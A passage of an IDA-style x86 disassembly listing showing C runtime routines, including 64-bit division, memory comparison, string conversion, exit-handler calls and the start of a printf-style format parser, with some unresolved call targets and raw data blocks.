inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_4197D5
mov [ebp+arg_C], 1
loc_4197D5: ; CODE XREF: sub_4196EF+BBj
; sub_4196EF+DDj
test ebx, ebx
jnz loc_41972D
mov eax, [ebp+arg_8]
loc_4197E0: ; CODE XREF: sub_4196EF+1Fj
; sub_4196EF+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4197E5: ; CODE XREF: sub_4196EF+ADj
; sub_4196EF+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_4197F0
; ---------------------------------------------------------------------------
loc_4197EE: ; CODE XREF: sub_4196EF+84j
; sub_4196EF+CFj
mov eax, edi
loc_4197F0: ; CODE XREF: sub_4196EF+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_4197E0
sub_4196EF endp
; =============== S U B R O U T I N E =======================================
sub_4197F9 proc near ; CODE XREF: sub_40D000+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 26A02F4h
cmp eax, 0FFFFFFFFh
jnz short loc_419819
nop
call near ptr 2660B07h
push eax
call sub_41EF44
pop ecx
loc_419815: ; CODE XREF: sub_4197F9+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419819: ; CODE XREF: sub_4197F9+Dj
test al, 1
jz short loc_41983A
test [esp+arg_4], 2
jz short loc_41983A
mov dword_4CD9B4, 0Dh
mov dword_4CD9B8, 5
jmp short loc_419815
; ---------------------------------------------------------------------------
loc_41983A: ; CODE XREF: sub_4197F9+22j
; sub_4197F9+29j
xor eax, eax
retn
sub_4197F9 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp
; sub_40D12A+92p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_419861
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_419861: ; CODE XREF: sub_419840+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41987D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41987D: ; CODE XREF: sub_419840+27j
or eax, eax
jnz short loc_419899
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_4198DA
; ---------------------------------------------------------------------------
loc_419899: ; CODE XREF: sub_419840+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_4198A7: ; CODE XREF: sub_419840+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_4198A7
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_4198D5
cmp edx, [esp+0Ch+arg_4]
ja short loc_4198D5
jb short loc_4198D6
cmp eax, [esp+0Ch+arg_0]
jbe short loc_4198D6
loc_4198D5: ; CODE XREF: sub_419840+85j
; sub_419840+8Bj
dec esi
loc_4198D6: ; CODE XREF: sub_419840+8Dj
; sub_419840+93j
xor edx, edx
mov eax, esi
loc_4198DA: ; CODE XREF: sub_419840+57j
dec edi
jnz short loc_4198E4
neg edx
neg eax
sbb edx, 0
loc_4198E4: ; CODE XREF: sub_419840+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_419840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41993C
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41993D
test eax, 1
jz short loc_41991D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41996A
inc esi
inc edi
dec eax
jz short loc_41993A
loc_41991D: ; CODE XREF: sub_4198F0+20j
; sub_4198F0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41996A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41996A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41991D
loc_41993A: ; CODE XREF: sub_4198F0+2Bj
; sub_4198F0+84j
pop edi
pop esi
locret_41993C: ; CODE XREF: sub_4198F0+6j
retn
; ---------------------------------------------------------------------------
loc_41993D: ; CODE XREF: sub_4198F0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_419972
repe cmpsd
jz short loc_419972
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_419965
cmp ch, dh
jnz short loc_419965
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_419965
cmp ch, dh
loc_419965: ; CODE XREF: sub_4198F0+63j
; sub_4198F0+67j ...
mov eax, 0
loc_41996A: ; CODE XREF: sub_4198F0+26j
; sub_4198F0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_419972: ; CODE XREF: sub_4198F0+55j
; sub_4198F0+59j
test eax, eax
jz short loc_41993A
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_419965
dec eax
jz short loc_419999
cmp dh, ch
jnz short loc_419965
dec eax
jz short loc_419999
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_419965
dec eax
loc_419999: ; CODE XREF: sub_4198F0+8Fj
; sub_4198F0+96j
pop edi
pop esi
retn
sub_4198F0 endp
; =============== S U B R O U T I N E =======================================
sub_41999C proc near ; CODE XREF: sub_40E5EB+55p
; sub_415F88+236p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
cmp word ptr [ecx], 0
lea eax, [ecx+2]
jz short loc_4199B3
loc_4199A9: ; CODE XREF: sub_41999C+15j
mov dx, [eax]
inc eax
inc eax
test dx, dx
jnz short loc_4199A9
loc_4199B3: ; CODE XREF: sub_41999C+Bj
sub eax, ecx
sar eax, 1
dec eax
retn
sub_41999C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p
; sub_40E5EB+49p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_0]
push ebx
push esi
xor esi, esi
xor eax, eax
cmp edx, esi
push edi
jz loc_419A86
mov edi, [ebp+arg_8]
cmp edi, esi
jz loc_419AB3
cmp dword_4CDA48, esi
jnz short loc_419A0A
cmp edi, esi
jbe loc_419AB3
loc_4199E9: ; CODE XREF: sub_4199B9+4Aj
mov ecx, [ebp+arg_4]
add ecx, eax
movzx si, byte ptr [ecx]
mov [edx], si
cmp byte ptr [ecx], 0
jz loc_419AB3
inc eax
inc edx
inc edx
cmp eax, edi
jb short loc_4199E9
jmp loc_419AB3
; ---------------------------------------------------------------------------
loc_419A0A: ; CODE XREF: sub_4199B9+26j
mov ebx, [ebp+arg_4]
mov esi, dword_424070
push edi
push edx
push 0FFFFFFFFh
push ebx
push 9
push dword_4CDA58
call esi
test eax, eax
jnz loc_419AB2
nop
call near ptr 2660B07h
cmp eax, 7Ah
jz short loc_419A44
loc_419A35: ; CODE XREF: sub_4199B9+CBj
; sub_4199B9+F7j
mov dword_4CD9B4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_419AB3
; ---------------------------------------------------------------------------
loc_419A44: ; CODE XREF: sub_4199B9+7Aj
lea ecx, [edi-1]
mov eax, ebx
mov [ebp+arg_4], ecx
loc_419A4C: ; CODE XREF: sub_4199B9+B3j
mov cl, [eax]
test cl, cl
jz short loc_419A6E
mov edx, off_433C70
movzx ecx, cl
test byte ptr [edx+ecx*2+1], 80h
jz short loc_419A63
inc eax
loc_419A63: ; CODE XREF: sub_4199B9+A7j
mov ecx, [ebp+arg_4]
inc eax
dec [ebp+arg_4]
test ecx, ecx
jnz short loc_419A4C
loc_419A6E: ; CODE XREF: sub_4199B9+97j
push edi
sub eax, ebx
push [ebp+arg_0]
push eax
push ebx
push 1
push dword_4CDA58
call esi
test eax, eax
jnz short loc_419AB3
jmp short loc_419A35
; ---------------------------------------------------------------------------
loc_419A86: ; CODE XREF: sub_4199B9+Fj
cmp dword_4CDA48, esi
jnz short loc_419A99
push [ebp+arg_4]
call sub_417AB0
pop ecx
jmp short loc_419AB3
; ---------------------------------------------------------------------------
loc_419A99: ; CODE XREF: sub_4199B9+D3j
push esi
push esi
push 0FFFFFFFFh
push [ebp+arg_4]
push 9
push dword_4CDA58
nop
call near ptr 2630000h
cmp eax, esi
jz short loc_419A35
loc_419AB2: ; CODE XREF: sub_4199B9+6Bj
dec eax
loc_419AB3: ; CODE XREF: sub_4199B9+1Aj
; sub_4199B9+2Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4199B9 endp
; ---------------------------------------------------------------------------
mov eax, off_433C3C
test eax, eax
jz short loc_419AC3
call eax ; sub_417D73
loc_419AC3: ; CODE XREF: ___:00419ABFj
push offset dword_426028
push offset dword_426014
call sub_419BA0
push offset dword_426010
push offset dword_426000
call sub_419BA0
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_419B07
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp
; sub_41D4FC+3438p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_419B07
add esp, 0Ch
retn
sub_419AF6 endp
; =============== S U B R O U T I N E =======================================
sub_419B07 proc near ; CODE XREF: ___:00419AEDp
; sub_419AF6+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4CD9FC, edi
jnz short loc_419B24
push [esp+4+arg_0]
nop
call near ptr 27A06F1h
push eax
call near ptr 27F0B48h
nop
loc_419B24: ; CODE XREF: sub_419B07+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4CD9F8, edi
mov byte_4CD9F4, bl
jnz short loc_419B78
mov eax, dword_4CF03C
test eax, eax
jz short loc_419B67
mov ecx, dword_4CF038
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_419B66
loc_419B53: ; CODE XREF: sub_419B07+5Dj
mov eax, [esi]
test eax, eax
jz short loc_419B5B
call eax
loc_419B5B: ; CODE XREF: sub_419B07+50j
sub esi, 4
cmp esi, dword_4CF03C
jnb short loc_419B53
loc_419B66: ; CODE XREF: sub_419B07+4Aj
pop esi
loc_419B67: ; CODE XREF: sub_419B07+3Cj
push offset dword_426034
push offset dword_42602C
call sub_419BA0
pop ecx
pop ecx
loc_419B78: ; CODE XREF: sub_419B07+33j
push offset dword_426040
push offset dword_426038
call sub_419BA0
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_419B9E
push [esp+4+arg_0]
mov dword_4CD9FC, edi
nop
call near ptr 77E75CB5h
loc_419B9E: ; CODE XREF: sub_419B07+85j
pop edi
retn
sub_419B07 endp
; =============== S U B R O U T I N E =======================================
sub_419BA0 proc near ; CODE XREF: ___:00419ACDp
; ___:00419ADCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_419BA5: ; CODE XREF: sub_419BA0+16j
cmp esi, [esp+4+arg_4]
jnb short loc_419BB8
mov eax, [esi]
test eax, eax
jz short loc_419BB3
call eax
loc_419BB3: ; CODE XREF: sub_419BA0+Fj
add esi, 4
jmp short loc_419BA5
; ---------------------------------------------------------------------------
loc_419BB8: ; CODE XREF: sub_419BA0+9j
pop esi
retn
sub_419BA0 endp
; =============== S U B R O U T I N E =======================================
sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 27E0CC0h
test eax, eax
jnz short loc_419BD0
nop
call near ptr 2660B07h
jmp short loc_419BD2
; ---------------------------------------------------------------------------
loc_419BD0: ; CODE XREF: sub_419BBA+Cj
xor eax, eax
loc_419BD2: ; CODE XREF: sub_419BBA+14j
test eax, eax
jz short loc_419BE1
push eax
call sub_41EF44
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419BE1: ; CODE XREF: sub_419BBA+1Aj
xor eax, eax
retn
sub_419BBA endp
; ---------------------------------------------------------------------------
dd 0E1820309h, 1667BC13h, 8740938Fh, 6422052Eh, 0A1h, 89645000h
dd 25h, 58EC8300h, 89575653h, 0E890E865h, 2427F5Eh, 0D48AD233h
dd 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h, 4CD9C8h
dd 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h, 33004CD9h
dd 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah, 59000000h
dd 0E8FC7589h, 5967h, 7EFEE890h, 2CA30242h, 0E8004CF0h
dd 5825h, 4CDA00A3h, 55CEE800h, 10E80000h, 0E8000055h
dd 0FFFFFE3Ch, 8DD07589h, 9050A445h, 426377E8h, 54A1E802h
dd 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h, 580A6A03h
dd 9C75FF50h, 0E8905656h, 23071A6h, 49F7E850h, 4589FFFFh
dd 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh, 0E8515098h
dd 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h
db 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_419CDA proc near ; CODE XREF: sub_418682+16p
; ___:0041F1D5p ...
arg_0 = dword ptr 4
cmp dword_4CDA08, 1
jnz short loc_419CE8
call sub_41F84C
loc_419CE8: ; CODE XREF: sub_419CDA+7j
push [esp+arg_0]
call sub_41F885
push 0FFh
call off_433C60
pop ecx
pop ecx
retn
sub_419CDA endp
; ---------------------------------------------------------------------------
db 83h
dd 4CDA083Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h
dd 68590000h, 0FFh, 0A5BF94E8h
db 77h, 90h, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D23 proc near ; CODE XREF: sub_4172B0+46p
; sub_41782A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_419E2C
test al, 40h
jnz loc_419E2C
test al, 1
jz short loc_419D5B
and dword ptr [esi+4], 0
test al, 10h
jz loc_419E2C
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_419D5B: ; CODE XREF: sub_419D23+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_419D95
cmp esi, offset dword_4363A8
jz short loc_419D83
cmp esi, offset dword_4363C8
jnz short loc_419D8E
loc_419D83: ; CODE XREF: sub_419D23+56j
push ebx
call sub_41FA1C
test eax, eax
pop ecx
jnz short loc_419D95
loc_419D8E: ; CODE XREF: sub_419D23+5Ej
push esi
call sub_41F9D8
pop ecx
loc_419D95: ; CODE XREF: sub_419D23+4Ej
; sub_419D23+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_419E02
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_419DC5
push edi
push eax
push ebx
call sub_41ED97
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_419DF8
; ---------------------------------------------------------------------------
loc_419DC5: ; CODE XREF: sub_419D23+90j
cmp ebx, 0FFFFFFFFh
jz short loc_419DE0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4CECE0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_419DE5
; ---------------------------------------------------------------------------
loc_419DE0: ; CODE XREF: sub_419D23+A5j
mov eax, offset dword_4362F0
loc_419DE5: ; CODE XREF: sub_419D23+BBj
test byte ptr [eax+4], 20h
jz short loc_419DF8
push 2
push 0
push ebx
call sub_41E517
add esp, 0Ch
loc_419DF8: ; CODE XREF: sub_419D23+A0j
; sub_419D23+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_419E16
; ---------------------------------------------------------------------------
loc_419E02: ; CODE XREF: sub_419D23+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41ED97
add esp, 0Ch
mov [ebp+arg_4], eax
loc_419E16: ; CODE XREF: sub_419D23+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_419E22
or dword ptr [esi+0Ch], 20h
jmp short loc_419E31
; ---------------------------------------------------------------------------
loc_419E22: ; CODE XREF: sub_419D23+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_419E34
; ---------------------------------------------------------------------------
loc_419E2C: ; CODE XREF: sub_419D23+10j
; sub_419D23+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_419E31: ; CODE XREF: sub_419D23+FDj
or eax, 0FFFFFFFFh
loc_419E34: ; CODE XREF: sub_419D23+107j
pop esi
pop ebx
pop ebp
retn
sub_419D23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; CODE XREF: sub_4172B0+29p
; sub_41782A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41A551
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_419E6C
; ---------------------------------------------------------------------------
loc_419E64: ; CODE XREF: sub_419E38+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_419E6C: ; CODE XREF: sub_419E38+2Aj
cmp [ebp+var_14], edx
jl loc_41A551
cmp bl, 20h
jl short loc_419E8D
cmp bl, 78h
jg short loc_419E8D
movsx eax, bl
mov al, [eax+42469Ch]
and eax, 0Fh
jmp short loc_419E8F
; ---------------------------------------------------------------------------
loc_419E8D: ; CODE XREF: sub_419E38+40j
; sub_419E38+45j
xor eax, eax
loc_419E8F: ; CODE XREF: sub_419E38+53j
movsx eax, byte_4246BC[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41A540 ; default
jmp off_41A559[eax*4] ; switch jump
loc_419EAD: ; DATA XREF: ___:off_41A559o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419EC8: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
movsx eax, bl ; jumptable 00419EA6 case 2
sub eax, 20h
jz short loc_419F0B
sub eax, 3
jz short loc_419F02
sub eax, 8
jz short loc_419EF9
dec eax
dec eax
jz short loc_419EF0
sub eax, 3
jnz loc_41A540 ; default
or [ebp+var_4], 8
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419EF0: ; CODE XREF: sub_419E38+A4j
or [ebp+var_4], 4
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419EF9: ; CODE XREF: sub_419E38+A0j
or [ebp+var_4], 1
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F02: ; CODE XREF: sub_419E38+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F0B: ; CODE XREF: sub_419E38+96j
or [ebp+var_4], 2
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F14: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
cmp bl, 2Ah ; jumptable 00419EA6 case 3
jnz short loc_419F3C
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41A540 ; default
or [ebp+var_4], 4
neg eax
loc_419F34: ; CODE XREF: sub_419E38+111j
mov [ebp+var_20], eax
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F3C: ; CODE XREF: sub_419E38+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_419F34
; ---------------------------------------------------------------------------
loc_419F4B: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
mov [ebp+var_10], edx ; jumptable 00419EA6 case 4
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F53: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
cmp bl, 2Ah ; jumptable 00419EA6 case 5
jnz short loc_419F76
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41A540 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F76: ; CODE XREF: sub_419E38+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419F88: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
cmp bl, 49h ; jumptable 00419EA6 case 6
jz short loc_419FBB
cmp bl, 68h
jz short loc_419FB2
cmp bl, 6Ch
jz short loc_419FA9
cmp bl, 77h
jnz loc_41A540 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FA9: ; CODE XREF: sub_419E38+15Dj
or [ebp+var_4], 10h
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FB2: ; CODE XREF: sub_419E38+158j
or [ebp+var_4], 20h
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FBB: ; CODE XREF: sub_419E38+153j
cmp byte ptr [edi], 36h
jnz short loc_419FD4
cmp byte ptr [edi+1], 34h
jnz short loc_419FD4
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_419FD4: ; CODE XREF: sub_419E38+186j
; sub_419E38+18Cj
mov [ebp+var_30], edx
loc_419FD7: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
mov ecx, off_433C70 ; jumptable 00419EA6 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41A003
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41A579
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41A003: ; CODE XREF: sub_419E38+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41A579
add esp, 0Ch
jmp loc_41A540 ; default
; ---------------------------------------------------------------------------
loc_41A01B: ; CODE XREF: sub_419E38+6Ej
; DATA XREF: ___:off_41A559o
movsx eax, bl ; jumptable 00419EA6 case 7
cmp eax, 67h
jg loc_41A243
cmp eax, 65h
jge loc_41A0C6
cmp eax, 58h
jg loc_41A124
jz loc_41A2B7
sub eax, 43h
jz loc_41A0E7
dec eax
dec eax
jz short loc_41A0BC
dec eax
dec eax
jz short loc_41A0BC
sub eax, 0Ch
jnz loc_41A442
test word ptr [ebp+var_4], 830h
jnz short loc_41A065
or byte ptr [ebp+var_4+1], 8
loc_41A065: ; CODE XREF: sub_419E38+227j
; sub_419E38+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41A072
mov esi, 7FFFFFFFh
loc_41A072: ; CODE XREF: sub_419E38+233j
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41A28B
test ecx, ecx
jnz short loc_41A09A
mov ecx, off_433C6C
mov [ebp+var_8], ecx
loc_41A09A: ; CODE XREF: sub_419E38+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41A0A3: ; CODE XREF: sub_419E38+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41A282
cmp word ptr [eax], 0
jz loc_41A282
inc eax
inc eax
jmp short loc_41A0A3
; ---------------------------------------------------------------------------
loc_41A0BC: ; CODE XREF: sub_419E38+212j
; sub_419E38+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41A0C6: ; CODE XREF: sub_419E38+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41A1AA
mov [ebp+var_10], 6
jmp loc_41A1B8
; ---------------------------------------------------------------------------
loc_41A0E7: ; CODE XREF: sub_419E38+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41A0F3
or byte ptr [ebp+var_4+1], 8
loc_41A0F3: ; CODE XREF: sub_419E38+2B5j
; sub_419E38+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41A13A
call sub_41A634
push eax
lea eax, [ebp+var_248]
push eax
call sub_41FAFB
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41A14D
mov [ebp+var_28], 1
jmp short loc_41A14D
; ---------------------------------------------------------------------------
loc_41A124: ; CODE XREF: sub_419E38+1FBj
sub eax, 5Ah
jz short loc_41A15B
sub eax, 9
jz short loc_41A0F3
dec eax
jz loc_41A31D
jmp loc_41A442
; ---------------------------------------------------------------------------
loc_41A13A: ; CODE XREF: sub_419E38+2C5j
call sub_41A617
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41A14D: ; CODE XREF: sub_419E38+2E1j
; sub_419E38+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41A442
; ---------------------------------------------------------------------------
loc_41A15B: ; CODE XREF: sub_419E38+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41A617
test eax, eax
pop ecx
jz short loc_41A19C
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41A19C
test byte ptr [ebp+var_4+1], 8
jz short loc_41A18D
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41A442
; ---------------------------------------------------------------------------
loc_41A18D: ; CODE XREF: sub_419E38+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41A43F
; ---------------------------------------------------------------------------
loc_41A19C: ; CODE XREF: sub_419E38+32Fj
; sub_419E38+336j
mov eax, off_433C68
mov [ebp+var_8], eax
push eax
jmp loc_41A238
; ---------------------------------------------------------------------------
loc_41A1AA: ; CODE XREF: sub_419E38+29Dj
jnz short loc_41A1B8
cmp bl, 67h
jnz short loc_41A1B8
mov [ebp+var_10], 1
loc_41A1B8: ; CODE XREF: sub_419E38+2AAj
; sub_419E38:loc_41A1AAj ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_435FD0
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41A20A
cmp [ebp+var_10], 0
jnz short loc_41A20A
lea eax, [ebp+var_248]
push eax
call off_435FDC
pop ecx
loc_41A20A: ; CODE XREF: sub_419E38+3BCj
; sub_419E38+3C2j
cmp bl, 67h
jnz short loc_41A221
test esi, esi
jnz short loc_41A221
lea eax, [ebp+var_248]
push eax
call off_435FD4
